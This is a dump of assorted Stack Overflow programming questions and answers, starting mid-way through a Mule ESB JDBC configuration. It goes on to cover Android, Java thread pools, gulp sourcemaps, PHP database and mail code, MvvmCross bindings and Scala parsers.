Actor.SAcSet=2 and AcTr.Sup&amp;lt;&amp;gt;0 and (AcTr.AcNo=1511 or AcTr.AcNo=2441) GROUP BY AcTr.AcNo,AcTr.R2,AcTr.R1,AcTr.Cur"/&gt; &lt;jdbc:query key="readickb" value="SELECT #[header:INBOUND:company] as company, AcTr.AcNo as Konto, AcTr.R2 as Avd, #[header:INBOUND:period] as Period, sum(AcTr.AcAm) as Saldo, sum(AcTr.CurAm) as ValutaBel, AcTr.Cur as Valuta, AcTr.R1 as FtgID FROM AcTr LEFT JOIN Actor ON AcTr.R1=Actor.R1 WHERE (AcTr.AcYrPr &amp;lt;= #[header:INBOUND:period]) and Actor.CAcSet=2 and AcTr.Cust&amp;lt;&amp;gt;0 and (AcTr.AcNo=1511 or AcTr.AcNo=2441) GROUP BY AcTr.AcNo,AcTr.R2,AcTr.R1,AcTr.Cur"/&gt; &lt;/jdbc:connector&gt; &lt;file:connector name="output" outputPattern=" #[function:datestamp:dd-MM-yy-hh-mm-ss]#[header:INBOUND:company].txt" autoDelete="false" outputAppend="true" streaming="false" validateConnections="false" doc:name="File"/&gt; &lt;message-properties-transformer name="delete-content-type-header" doc:name="Message Properties"&gt; &lt;delete-message-property key="Content-type"/&gt; &lt;/message-properties-transformer&gt; &lt;message-properties-transformer name="add-csv-content-type-header" doc:name="Message Properties"&gt; &lt;add-message-property key="Content-Type" value="text/csv"/&gt; &lt;/message-properties-transformer&gt; &lt;message-properties-transformer name="add-filename" doc:name="Message Properties"&gt; &lt;add-message-property key="Content-Disposition" value="attachment; filename=testfil.txt"/&gt; &lt;/message-properties-transformer&gt; &lt;flow name="CD-test1Flow1" doc:name="CD-test1Flow1"&gt; &lt;http:inbound-endpoint exchange-pattern="request-response" host="localhost" port="8082" doc:name="HTTP"/&gt; &lt;not-filter doc:name="Not"&gt; &lt;wildcard-filter pattern="*favicon*" caseSensitive="true"/&gt; &lt;/not-filter&gt; &lt;logger message="Log1 #[message.getPayload()]! " level="INFO" doc:name="Logger1"/&gt; &lt;http:body-to-parameter-map-transformer doc:name="Body to Parameter Map"/&gt; &lt;component class="ValidationService3x" doc:name="Java"/&gt; &lt;echo-component doc:name="Echo"/&gt; &lt;set-variable variableName="Filename" value=" #[function:datestamp:dd-MM-yy-hh-mm-ss]-#[header:INBOUND:company]-#[header:INBOUND:period]" doc:name="FilenameVar"/&gt; &lt;component doc:name="Java"&gt; &lt;spring-object bean="changeDB"/&gt; &lt;/component&gt; &lt;all doc:name="All"&gt; &lt;processor-chain&gt; &lt;jdbc:outbound-endpoint exchange-pattern="request-response" queryKey="readbal" connector-ref="db_conn" doc:name="DB"/&gt; &lt;expression-filter expression="payload.size() &amp;gt; 0" doc:name="not empty"/&gt; &lt;json:object-to-json-transformer doc:name="Object to JSON"/&gt; &lt;component class="Bean2CSV" doc:name="Java"/&gt; &lt;echo-component doc:name="Echo"/&gt; &lt;file:outbound-endpoint path="${outputfolder}" outputPattern="#[flowVars['Filename']]-bal.csv" connector-ref="output" doc:name="File"/&gt; &lt;/processor-chain&gt; &lt;processor-chain&gt; &lt;jdbc:outbound-endpoint exchange-pattern="request-response" queryKey="readres" connector-ref="db_conn" doc:name="DB100-ickr"/&gt; &lt;expression-filter expression="payload.size() &amp;gt; 0" doc:name="not empty"/&gt; &lt;json:object-to-json-transformer doc:name="Object to JSON"/&gt; &lt;component class="Bean2CSV" doc:name="Java"/&gt; &lt;echo-component doc:name="Echo"/&gt; &lt;file:outbound-endpoint path="${outputfolder}" outputPattern="#[flowVars['Filename']]-res.csv" connector-ref="output" doc:name="File"/&gt; &lt;/processor-chain&gt; &lt;processor-chain&gt; &lt;jdbc:outbound-endpoint exchange-pattern="request-response" queryKey="readiclb" connector-ref="db_conn" doc:name="DB100-ickr"/&gt; &lt;expression-filter expression="payload.size() &amp;gt; 0" doc:name="not empty"/&gt; &lt;json:object-to-json-transformer doc:name="Object to JSON"/&gt; &lt;component class="Bean2CSV" doc:name="Java"/&gt; &lt;echo-component doc:name="Echo"/&gt; &lt;file:outbound-endpoint path="${outputfolder}" outputPattern="#[flowVars['Filename']]-icb.csv" connector-ref="output" doc:name="File"/&gt; &lt;/processor-chain&gt; &lt;processor-chain&gt; &lt;jdbc:outbound-endpoint exchange-pattern="request-response" queryKey="readickb" connector-ref="db_conn" doc:name="DB100-ickr"/&gt; &lt;expression-filter expression="payload.size() &amp;gt; 0" doc:name="not empty"/&gt; &lt;json:object-to-json-transformer doc:name="Object to JSON"/&gt; &lt;component class="Bean2CSVnotfirstline" doc:name="Java"/&gt; &lt;echo-component doc:name="Echo"/&gt; &lt;file:outbound-endpoint path="${outputfolder}" outputPattern="#[flowVars['Filename']]-icb.csv" connector-ref="output" doc:name="File"/&gt; &lt;/processor-chain&gt; &lt;processor-chain&gt; &lt;jdbc:outbound-endpoint exchange-pattern="request-response" queryKey="readiclr" connector-ref="db_conn" doc:name="DB100-ickr"/&gt; &lt;expression-filter expression="payload.size() &amp;gt; 0" doc:name="not empty"/&gt; &lt;json:object-to-json-transformer doc:name="Object to JSON"/&gt; &lt;component class="Bean2CSV" doc:name="Java"/&gt; &lt;echo-component doc:name="Echo"/&gt; &lt;file:outbound-endpoint path="${outputfolder}" outputPattern="#[flowVars['Filename']]-icr.csv" connector-ref="output" doc:name="File"/&gt; &lt;/processor-chain&gt; &lt;processor-chain&gt; &lt;jdbc:outbound-endpoint exchange-pattern="request-response" queryKey="readickr" connector-ref="db_conn" doc:name="DB100-ickr"/&gt; &lt;expression-filter expression="payload.size() &amp;gt; 0" doc:name="not empty"/&gt; &lt;json:object-to-json-transformer doc:name="Object to JSON"/&gt; &lt;component class="Bean2CSVnotfirstline" doc:name="Java"/&gt; &lt;echo-component doc:name="Echo"/&gt; &lt;file:outbound-endpoint path="${outputfolder}" outputPattern="#[flowVars['Filename']]-icr.csv" connector-ref="output" doc:name="File"/&gt; &lt;/processor-chain&gt; &lt;/all&gt; &lt;set-payload value="Nu är 100 tankat till #[flowVars['Filename']] " doc:name="Set Payload"/&gt; &lt;http:response-builder doc:name="HTTP Response Builder"/&gt; &lt;/flow&gt; </code></pre> <p></p>
17481890	0	How to write a stored procedure in phpMyAdmin? <p>I am not able to find where to write the stored procedure in phpMyAdmin and how to call it using MVC architecture.</p>
5358263	0	Google_maps_API::Custom_image <p>I have been googling for quite some time now, and have yet to find a viable solution to using your own map images with the google maps API. <a href="http://vigetlabs.github.com/jmapping/" rel="nofollow">Jmapping</a> was <em>exactly</em> what I needed, but did not allow for your own background images.</p> <p>Other than the 'ground overlay' option within the google maps API documentation, I've got no leads left.</p> <p>Is there a sensible way to use your own map/background images with google maps?</p>
24365117	0	 <p>Using this simple method, I was able to call stored procedures in MVC application </p> <pre><code>public static DataSet ExecuteDataset(string connectionString, CommandType commandType, string commandText, SqlParameter[] commandParameters) { using (SqlConnection connection = new SqlConnection(connectionString)) { connection.Open(); using (SqlCommand command = new SqlCommand()) { command.Connection = connection; command.CommandTimeout = 0; command.CommandType = commandType; command.CommandText = commandText; if (commandParameters != null &amp;&amp; commandParameters.Length &gt; 0) command.Parameters.AddRange(commandParameters); return FillData(command, connection); } } } </code></pre>
7014444	0	 <p><strong>data</strong> will contain a result string returned by create.php and that is entirely up to you. What does create.php do at the moment?</p>
12418140	0	New Activity issuing nullpointerexception <p>I am trying to start a new activity to display a list of results from a search. I have been through the android dev stuff and androidhive and through similar posts here dealing with populating a listview with an arraylist in a new activity and I just cant seem to get this to work. I would really appreciate any help, been battling with this for a few days now. </p> <p>Here are the relevants parts of my main activity.</p> <pre><code>Intent intent = new Intent(this, DisplayResultsActivity.class); ArrayList&lt;String&gt; myCommonFilms = new ArrayList&lt;String&gt;(commonFilms.getCommonFilms(titleOne, titleTwo)); Log.d("myCommonFilms", myCommonFilms.toString()); intent.putStringArrayListExtra("myCommonFilmsList", myCommonFilms); startActivity(intent); </code></pre> <p>Here is the new activity:</p> <pre><code>public class DisplayResultsActivity extends Activity { private ListView listView; public void onCreate(Bundle savedInstanceState) { setContentView(R.layout.activity_display_results); listView = (ListView) findViewById(android.R.id.list); Intent intent = getIntent(); ArrayList&lt;String&gt; myCommonFilms = intent.getStringArrayListExtra("myCommonFilms"); Log.d("myCommonFilms in display", myCommonFilms.toString()); Log.d("ArrayListContents", myCommonFilms.toString()); final ArrayAdapter&lt;String&gt; arrayAdapter = new ArrayAdapter&lt;String&gt;(this, android.R.layout.expandable_list_content, myCommonFilms); Log.d("ArrayAdapterContents", arrayAdapter.toString()); listView.setAdapter(arrayAdapter); } @Override public boolean onCreateOptionsMenu(Menu menu) { getMenuInflater().inflate(R.menu.activity_display_results, menu); return true; } } </code></pre> <p>Here is my manifest in case something is up there:</p> <pre><code>&lt;manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.tot.tipofthetongue" android:versionCode="1" android:versionName="1.0" &gt; &lt;uses-sdk android:minSdkVersion="8" android:targetSdkVersion="15" /&gt; &lt;uses-permission android:name="android.permission.INTERNET" /&gt; &lt;application android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@android:style/Theme.NoTitleBar.Fullscreen" &gt; &lt;activity android:name=".Main" android:label="@string/title_activity_main" &gt; &lt;intent-filter&gt; &lt;action android:name="android.intent.action.MAIN" /&gt; &lt;category android:name="android.intent.category.LAUNCHER" /&gt; &lt;/intent-filter&gt; &lt;/activity&gt; &lt;activity android:name=".DisplayResultsActivity" android:label="@string/title_activity_display_results" &gt; &lt;intent-filter&gt; &lt;action android:name="android.intent.action.MAIN" /&gt; &lt;category android:name="android.intent.category.LAUNCHER" /&gt; &lt;/intent-filter&gt; &lt;/activity&gt; &lt;/application&gt; &lt;/manifest&gt; </code></pre> <p>Here is my main activity layout:</p> <pre><code>&lt;RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:background="@drawable/home_screen_bg" &gt; &lt;EditText android:id="@+id/searchOne" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignParentTop="true" android:layout_centerHorizontal="true" android:layout_marginTop="182dp" android:background="@drawable/home_screen_edittext" android:ems="10" android:inputType="textPersonName" /&gt; &lt;Button android:id="@+id/findMovies" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignParentBottom="true" android:layout_centerHorizontal="true" android:layout_marginBottom="32dp" android:text="@string/buttonText" android:onClick="displayResults" /&gt; &lt;/RelativeLayout&gt; </code></pre> <p>and lastly the layout of my new activity for displaying the results</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;ListView xmlns:android="http://schemas.android.com/apk/res/android" android:id="@id/android:list" android:layout_width="fill_parent" android:layout_height="fill_parent" android:background="@drawable/results_bg" android:padding="10dip" android:textSize="16dip" android:textStyle="bold" &gt; &lt;/ListView&gt; </code></pre> <p>and here is the error log: 09-13 22:42:00.127: W/dalvikvm(1168): threadid=1: thread exiting with uncaught exception (group=0x4001d800) 09-13 22:42:00.137: E/AndroidRuntime(1168): FATAL EXCEPTION: main 09-13 22:42:00.137: E/AndroidRuntime(1168): java.lang.RuntimeException: Unable to start activity ComponentInfo{com.tot.tipofthetongue/com.tot.tipofthetongue.DisplayResultsActivity}: java.lang.NullPointerException 09-13 22:42:00.137: E/AndroidRuntime(1168): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2663) 09-13 22:42:00.137: E/AndroidRuntime(1168): at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2679) 09-13 22:42:00.137: E/AndroidRuntime(1168): at android.app.ActivityThread.access$2300(ActivityThread.java:125) 09-13 22:42:00.137: E/AndroidRuntime(1168): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:2033) 09-13 22:42:00.137: E/AndroidRuntime(1168): at android.os.Handler.dispatchMessage(Handler.java:99) 09-13 22:42:00.137: E/AndroidRuntime(1168): at android.os.Looper.loop(Looper.java:123) 09-13 22:42:00.137: E/AndroidRuntime(1168): at android.app.ActivityThread.main(ActivityThread.java:4627) 09-13 22:42:00.137: E/AndroidRuntime(1168): at java.lang.reflect.Method.invokeNative(Native Method) 09-13 22:42:00.137: E/AndroidRuntime(1168): at java.lang.reflect.Method.invoke(Method.java:521) 09-13 22:42:00.137: E/AndroidRuntime(1168): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:868) 09-13 22:42:00.137: E/AndroidRuntime(1168): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:626) 09-13 22:42:00.137: E/AndroidRuntime(1168): at dalvik.system.NativeStart.main(Native Method) 09-13 22:42:00.137: E/AndroidRuntime(1168): Caused by: java.lang.NullPointerException 09-13 22:42:00.137: E/AndroidRuntime(1168): at com.tot.tipofthetongue.DisplayResultsActivity.onCreate(DisplayResultsActivity.java:30) 09-13 22:42:00.137: E/AndroidRuntime(1168): at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1047) 09-13 22:42:00.137: E/AndroidRuntime(1168): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2627) 09-13 22:42:00.137: E/AndroidRuntime(1168): ... 11 more</p>
21016762	0	 <p>There is a workaround to this problem. Consider the following implementation:</p> <pre><code>int corePoolSize = 40; int maximumPoolSize = 40; ThreadPoolExecutor threadPoolExecutor = new ThreadPoolExecutor(corePoolSize, maximumPoolSize, 60L, TimeUnit.SECONDS, new LinkedBlockingQueue&lt;Runnable&gt;()); threadPoolExecutor.allowCoreThreadTimeOut(true); </code></pre> <p>By setting the <a href="http://docs.oracle.com/javase/7/docs/api/java/util/concurrent/ThreadPoolExecutor.html#allowCoreThreadTimeOut%28boolean%29" rel="nofollow">allowCoreThreadTimeOut()</a> to <code>true</code>, the threads in the pool are allowed to terminate after the specified timeout (60 seconds in this example). With this solution, it is the <code>corePoolSize</code> constructor argument that determines the maximum pool size in practice, because the thread pool will grow up to the <code>corePoolSize</code>, and then start adding jobs to the queue. It is likely that the pool may never grow bigger than that, because the pool will not spawn new threads until the queue is full (which, given that the <code>LinkedBlockingQueue</code> has an <code>Integer.MAX_VALUE</code> capacity may never happen). Consequently, there is little point in setting <code>maximumPoolSize</code> to a larger value than <code>corePoolSize</code>.</p> <p>Consideration: The thread pool have 0 idle threads after the timeout has expired, which means that there will be some latency before the threads are created (normally, you would always have <code>corePoolSize</code> threads available).</p> <p>More details can be found in the JavaDoc of <a href="http://docs.oracle.com/javase/7/docs/api/java/util/concurrent/ThreadPoolExecutor.html" rel="nofollow">ThreadPoolExecutor</a>.</p>
28600233	0	How to insert a panel in webpage using chrome extension? <p>I m making an extension for gmail and trying to add a side panel when the user opens his mail( The place where contact information of the sender is shown). I searched and only found out that i can modify the css only. By modifying the css i m able to make space for the panel. Its just empty space there. How can i insert a html page in that empty space??</p>
32504135	0	 <p>So this is how sourcemaps work in Gulp: Each element you select via <code>gulp.src</code> gets transferred into a virtual file object, consisting of the contents in a Buffer, as well as the original file name. Those are piped through your stream, where the contents get transformed.</p> <p>If you add sourcemaps, you add one more property to those virtual file objects, namely the sourcemap. With each transformation, the sourcemap gets also transformed. So, if you initialize the sourcemaps after concat and before uglify, the sourcemaps stores the transformations from that particular step. The sourcemap "thinks" that the original files are the output from concat, and the only transformation step that took place is the uglify step. So when you open them in your browser, nothing will match.</p> <p>It's better that you place sourcemaps directly after globbing, and save them directly before saving your results. <strong>Gulp sourcemaps will interpolate between transformations, so that you keep track of every change that happened</strong>. The original source files will be the ones you selected, and the sourcemap will track back to those origins.</p> <p>This is your stream:</p> <pre><code> return gulp.src(sourceFiles) .pipe(sourcemaps.init()) .pipe(plumber()) .pipe(concat(filenameRoot + '.js')) .pipe(gulp.dest(destinationFolder)) // save .js .pipe(uglify({ preserveComments: 'license' })) .pipe(rename({ extname: '.min.js' })) .pipe(sourcemaps.write('maps')) .pipe(gulp.dest(destinationFolder)) // save .min.js </code></pre> <p><code>sourcemaps.write</code> does not actually write sourcemaps, it just tells Gulp to materialize them into a physical file when you call <code>gulp.dest</code>. </p> <p>The very same sourcemap plugin will be included in Gulp 4 natively: <a href="http://fettblog.eu/gulp-4-sourcemaps/">http://fettblog.eu/gulp-4-sourcemaps/</a> -- If you want to have more details on how sourcemaps work internally with Gulp, they are in Chapter 6 of my Gulp book: <a href="http://www.manning.com/baumgartner">http://www.manning.com/baumgartner</a></p>
887993	0	 <p>According to <a href="http://java.sun.com/javase/technologies/hotspot/vmoptions.jsp" rel="nofollow noreferrer">this page</a>, the default stack size depends on the OS.</p> <p><strong>Sparc:</strong> 512</p> <p><strong>Solaris x86:</strong> 320 (was 256 prior in 5.0 and earlier) <em>(update: According to <a href="http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=4689767" rel="nofollow noreferrer">this page</a>, the size of the main thread stack comes from the ulimit. The main thread stack is artificially reduced by the vm to the -Xss value)</em></p> <p><strong>Sparc 64 bit:</strong> 1024</p> <p><strong>Linux amd64:</strong> 1024 (was 0 in 5.0 and earlier) <em>(update: The default size comes from ulimit, but I can be reduced with -Xss)</em></p> <p><strong>Windows:</strong> 256 (also <a href="http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=4689767" rel="nofollow noreferrer">here</a>) </p> <p>You can change the default setting with the <strong>-Xss</strong> flag. For example:</p> <pre><code>java ... -Xss1024k ... &lt;classname&gt; </code></pre> <p>would set the default stack size to 1Mb.</p>
4218266	0	 <p>If the readonly and readwrite entities do not share relationships, the easiest solution is to put each group in their own configuration and then have separate stores. That way, updating is just a matter of swapping out the readonly persistent store file. </p> <p>If they do have relationships, then your only option is delete all the existing readonly and repopulate by building new objects on the fly. </p> <p>If you are designing from scratch the first option is usually best for pre-populated material. You can use objectIDs and/or fetched relationships to form pseudo-relationships across stores. </p>
28968367	0	Wireless wlan0 management <p>I implemented a function in order to connect my device to an access point which contains :</p> <pre><code>iw mlan0 connect $SSID udhcpc -i mlan0 while : ; do echo "Pausing until connection established" mlan0_ip=`/sbin/ifconfig mlan0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'` if [ -z "$mlan0_ip" ] then sleep 1 else break fi done </code></pre> <p>I don't understand why the iw mlan0 connect $SSID command keep the prompt. Indeed, it is blocked on </p> <pre><code>[ 6231.764960] wlan: SCAN COMPLETED: scanned AP count=9 [ 6231.798636] wlan: Connected to bssid 1a:XX:XX:XX:52:66 successfully [ 6231.808511] IPv6: ADDRCONF(NETDEV_CHANGE): mlan0: link becomes ready udhcpc (v1.22.1) started Sending discover... Sending discover... Sending discover... [ 6241.126472] ADDBA RSP: Failed(1a:XX:XX:XX:52:66 tid=6) Sending discover... [ 6264.263093] ADDBA RSP: Failed(1a:XX:XX:XX:52:66 tid=6) Sending select for 192.168.50.33... [ 6264.497054] ADDBA RSP: Failed(1a:XX:XX:XX:52:66 tid=6) Lease of 192.168.50.33 obtained, lease time 43200 </code></pre> <p>Basically I never enter into the while loop.. I would like to execute some others command after network configuration </p>
21025965	0	Is there a way to stop a url redirecting using javascript or Jquery? <p>for example when you click on this flickr url: <a href="http://www.flickr.com/photos/caterpiya/5716797477/sizes/h/" rel="nofollow">http://www.flickr.com/photos/caterpiya/5716797477/sizes/h/</a></p> <p>The /sizes/h/ changes to /sizes/l/ how can I stop it from making this change and be given an alert through Jquery or javascript if it goes to a 404?</p> <pre><code>&lt;script&gt; function yo(){ var href = "http://www.flickr.com/photos/caterpiya/5716797477/" href = href+"sizes/h/"; window.open(href); } &lt;/script&gt; &lt;button onclick="yo()"&gt;open&lt;/button&gt; </code></pre>
12685784	0	 <p>Your analysis is definitely correct about where the click event is trying to bind.</p> <p>There are two approaches I generally take:</p> <ol> <li>Use ItemClick on the List</li> <li>Continuing using Click but do some redirection on the ViewModel side.</li> </ol> <hr> <p>So...1</p> <p>The <a href="https://github.com/slodge/MvvmCross/blob/master/Sample%20-%20Tutorial/Tutorial/Tutorial.Core/ViewModels/MainMenuViewModel.cs">Main Menu</a> in the tutorial has a ViewModel a bit like:</p> <pre><code>public class MainMenuViewModel : MvxViewModel { public List&lt;T&gt; Items { get; set; } public IMvxCommand ShowItemCommand { get { return new MvxRelayCommand&lt;T&gt;((item) =&gt; /* do action with item */ ); } } } </code></pre> <p>This is used in axml as:</p> <pre><code>&lt;Mvx.MvxBindableListView xmlns:android="http://schemas.android.com/apk/res/android" xmlns:local="http://schemas.android.com/apk/res/Tutorial.UI.Droid" android:layout_width="fill_parent" android:layout_height="fill_parent" local:MvxBind="{'ItemsSource':{'Path':'Items'},'ItemClick':{'Path':'ShowItemCommand'}}" local:MvxItemTemplate="@layout/listitem_viewmodel" /&gt; </code></pre> <p>This approach can only be done for ItemClick on the whole list item - not on individual subviews within the list items.</p> <hr> <p>Or...2</p> <p>Since we don't have any <code>RelativeSource</code> binding instructions in mvx, this type of redirection can be done in the ViewModel/Model code.</p> <p>This can be done by presenting a behaviour-enabled wrapper of the Model object rather than the Model object itself - e.g. using a <code>List&lt;ActiveArticle&gt;</code>:</p> <pre><code>public ActiveArticle { Article _article; ArticleViewModel _parent; public WrappedArticle(Article article, ArticleViewModel parent) { /* assignment */ } public IMvxCommand TheCommand { get { return MvxRelayCommand(() -&gt; _parent.DoStuff(_article)); } } public Article TheArticle { get { return _article; } } } </code></pre> <p>Your axml would then have to use bindings like:</p> <pre><code> &lt;TextView ... local:MvxBind="{'Text':{'Path':'TheArticle.Label'}}" /&gt; </code></pre> <p>and</p> <pre><code> &lt;ImageButton ... local:MvxBind="{'Click':{'Path':'TheCommand.MyTest'}}" /&gt; </code></pre> <p>One example of this approach is the Conference sample which uses <a href="https://github.com/slodge/MvvmCross/blob/master/Sample%20-%20CirriousConference/Cirrious.Conference.Core/ViewModels/Helpers/WithCommand.cs">WithCommand</a></p> <p>However... please note that when using <code>WithCommand&lt;T&gt;</code> we discovered a memory leak - basically the GarbageCollection refused to collect the embedded <code>MvxRelayCommand</code> - which is why <code>WithCommand&lt;T&gt;</code> is <code>IDisposable</code> and why <a href="https://github.com/slodge/MvvmCross/blob/master/Sample%20-%20CirriousConference/Cirrious.Conference.Core/ViewModels/SessionLists/BaseSessionListViewModel.cs">BaseSessionListViewModel</a> clears the list and disposes the WithCommand elements when views are detached. </p> <hr> <p><strong>Update after comment:</strong></p> <p>If your data list is large - and your data is fixed (your articles are models without PropertyChanged) and you don't want to incur the overhead of creating a large <code>List&lt;WrappedArticle&gt;</code> then one way around this might be to use a <code>WrappingList&lt;T&gt;</code> class.</p> <p>This is very similar to the approach taken in Microsoft code - e.g. in virtualizing lists in WP7/Silverlight - <a href="http://shawnoster.com/blog/post/Improving-ListBox-Performance-in-Silverlight-for-Windows-Phone-7-Data-Virtualization.aspx">http://shawnoster.com/blog/post/Improving-ListBox-Performance-in-Silverlight-for-Windows-Phone-7-Data-Virtualization.aspx</a></p> <p>For your articles this might be:</p> <pre><code>public class ArticleViewModel: MvxViewModel { public WrappingList&lt;Article&gt; Articles; // normal members... } public class Article { public string Label { get; set; } public string Remark { get; set; } } public class WrappingList&lt;T&gt; : IList&lt;WrappingList&lt;T&gt;.Wrapped&gt; { public class Wrapped { public IMvxCommand Command1 { get; set; } public IMvxCommand Command2 { get; set; } public IMvxCommand Command3 { get; set; } public IMvxCommand Command4 { get; set; } public T TheItem { get; set; } } private readonly List&lt;T&gt; _realList; private readonly Action&lt;T&gt;[] _realAction1; private readonly Action&lt;T&gt;[] _realAction2; private readonly Action&lt;T&gt;[] _realAction3; private readonly Action&lt;T&gt;[] _realAction4; public WrappingList(List&lt;T&gt; realList, Action&lt;T&gt; realAction) { _realList = realList; _realAction = realAction; } private Wrapped Wrap(T item) { return new Wrapped() { Command1 = new MvxRelayCommand(() =&gt; _realAction1(item)), Command2 = new MvxRelayCommand(() =&gt; _realAction2(item)), Command3 = new MvxRelayCommand(() =&gt; _realAction3(item)), Command4 = new MvxRelayCommand(() =&gt; _realAction4(item)), TheItem = item }; } #region Implementation of Key required methods public int Count { get { return _realList.Count; } } public Wrapped this[int index] { get { return Wrap(_realList[index]); } set { throw new NotImplementedException(); } } #endregion #region NonImplementation of other methods public IEnumerator&lt;Wrapped&gt; GetEnumerator() { throw new NotImplementedException(); } IEnumerator IEnumerable.GetEnumerator() { return GetEnumerator(); } public void Add(Wrapped item) { throw new NotImplementedException(); } public void Clear() { throw new NotImplementedException(); } public bool Contains(Wrapped item) { throw new NotImplementedException(); } public void CopyTo(Wrapped[] array, int arrayIndex) { throw new NotImplementedException(); } public bool Remove(Wrapped item) { throw new NotImplementedException(); } public bool IsReadOnly { get; private set; } #endregion #region Implementation of IList&lt;DateFilter&gt; public int IndexOf(Wrapped item) { throw new NotImplementedException(); } public void Insert(int index, Wrapped item) { throw new NotImplementedException(); } public void RemoveAt(int index) { throw new NotImplementedException(); } #endregion } </code></pre>
36506445	0	 <p>You need to use some semicolons. Otherwise the statements get blended.</p> <p>Why I think this is happening is that the function that calls <code>test</code> isn't getting called at all, but it's being passed to <code>test2</code> as the first argument.</p> <p>You can see that behavior here: <a href="https://jsfiddle.net/ssgagr3k/" rel="nofollow">https://jsfiddle.net/ssgagr3k/</a></p>
29888785	0	How to write helper class for different select operation? <p>Guys i want different "select" operation as per my needs, but i just need one helper function for all select operation , How do i get it??</p> <p>This is my helper class Database.php</p> <pre><code>&lt;?php class Database { public $server = "localhost"; public $user = "root"; public $password = ""; public $database_name = "employee_application"; public $table_name = ""; public $database_connection = ""; public $class_name = "Database"; public $function_name = ""; //constructor public function __construct(){ //establishes connection to database $this-&gt;database_connection = new mysqli($this-&gt;server, $this-&gt;user, $this-&gt;password, $this-&gt;database_name); if($this-&gt;database_connection-&gt;connect_error) die ("Connection failed".$this-&gt;database_connection-&gt;connect_error); } //destructor public function __destruct(){ //closes database connection if(mysqli_close($this-&gt;database_connection)) { $this-&gt;database_connection = null; } else echo "couldn't close"; } public function run_query($sql_query) { $this-&gt;function_name = "run_query"; try{ if($this-&gt;database_connection){ $output = $this-&gt;database_connection-&gt;query($sql_query); if($output){ $result["status"] = 1; $result["array"] = $output; } else{ $result["status"] = 0; $result["message"] = "Syntax error in query"; } } else{ throw new Exception ("Database connection error"); } } catch (Exception $error){ $result["status"] = 0; $result["message"] = $error-&gt;getMessage(); $this-&gt;error_table($this-&gt;class_name, $this-&gt;function_name, "connection error", date('Y-m-d H:i:s')); } return $result; } public function get_table($start_from, $per_page){ $this-&gt;function_name = "get_table"; $sql_query = "select * from $this-&gt;table_name LIMIT $start_from, $per_page"; return $this-&gt;run_query($sql_query); } } ?&gt; </code></pre> <p>In the above code get_table function performs basic select operation.... Now i want get_table function to perform all this below operations,</p> <pre><code>$sql_query = "select e.id, e.employee_name, e.salary, dept.department_name, desi.designation_name, e.department, e.designation from employees e LEFT OUTER JOIN designations desi ON e.designation = desi.id LEFT OUTER JOIN departments dept ON e.department = dept.id ORDER BY e.employee_name LIMIT $start_from, $per_page"; $sql_query = "select id, designation_name from designations ORDER BY designation_name"; $sql_query = "select * from departments"; $sql_query = "select * from departments Limit 15,10"; </code></pre> <p>So how to overcome this issue, can anyone help me out?</p>
14955557	0	 <p>Try to use ob_start() at the start of script, and exit(); after header("Location: contact.php");</p> <p>smth like this ...</p> <pre><code>&lt;?php ob_start(); $name = $_POST['name']; $email = $_POST['email']; $message = $_POST['message']; &amp;contact = $_POST['contact']; $formcontent="From: $name \n Message: $message"; $recipient = "info@whatever.co.za"; $subject = "Contact form message"; $mailheader = "From: $email \r\n"; mail($recipient, $subject, $formcontent, $mailheader) or die("Error!"); header("Location: contact.php"); exit(); ?&gt; </code></pre>
23884293	0	 <p>If i'm not wrong. see below can help you up or not.</p> <pre><code>&lt;script type="text/javascript"&gt; function Confirmation() { var rowQuestion = confirm("Are you sure you want to confirm?"); if (rowQuestion == false) { return false; } return true; } &lt;/script&gt; </code></pre> <p>and the aspx will be:</p> <pre><code>&lt;asp:Button Text="Confirm Training" OnClientClick="return Confirmation();" ID="btnConfirm" OnClick="btnConfirm_Click" runat="server" /&gt; </code></pre> <p>confirm at the javascript "confirmation" first, then, only call the btnConfirm_click code behind.</p>
23381822	0	Parsing a language using scala parser combinators <p>I have the following template:</p> <pre><code>#foo(args)# // START CONTAINER1 #foo(foo &lt;- foos)(args)# // BLOCK STARTS HERE (`args` can be on either side of `block`) #bar(args)# // START CONTAINER2 #.bar# // END CONTAINER2 #.foo# // END BLOCK #.foo# // END CONTAINER1 </code></pre> <p>*notice how <code>#.foo#</code> closes each container/block</p> <p>The trouble I see here is that there's no unique <code>id</code> of some sort to represent each block so I have to keep track of how many container openers/closers there are (<code>#foo#</code>/<code>#.foo#</code>) so that a block with an inside container's <code>END CONTAINER</code> hash won't confuse the parser as ending the block.</p> <p><strong>How would I use Scala's parsers to parse blocks in a language like this?</strong></p> <hr> <p>I started off with this:</p> <pre><code>def maybeBlockMaybeJustContainer:Content = { (openingHash ~ identifier ~ opt(args) ~&gt; opt(blockName) &lt;~ opt(args) ~ closingHash) ~ opt(content) ~ openHash ~ dot ~ identifier ~ closingHash ^^ ... } </code></pre> <p>I'm also thinking about preprocessing it but not sure where to start.</p>
2107300	0	 <p>you ever find an answer for this? i'm having the same issues</p> <p>EDIT: this delay is only experienced when debugging on the phone. the plugin attempts to load and there is a large delay before the youtube view pops up in the webview. if you unplug the phone from xcode (disabling the remote debugger) it immediately loads the webview</p>
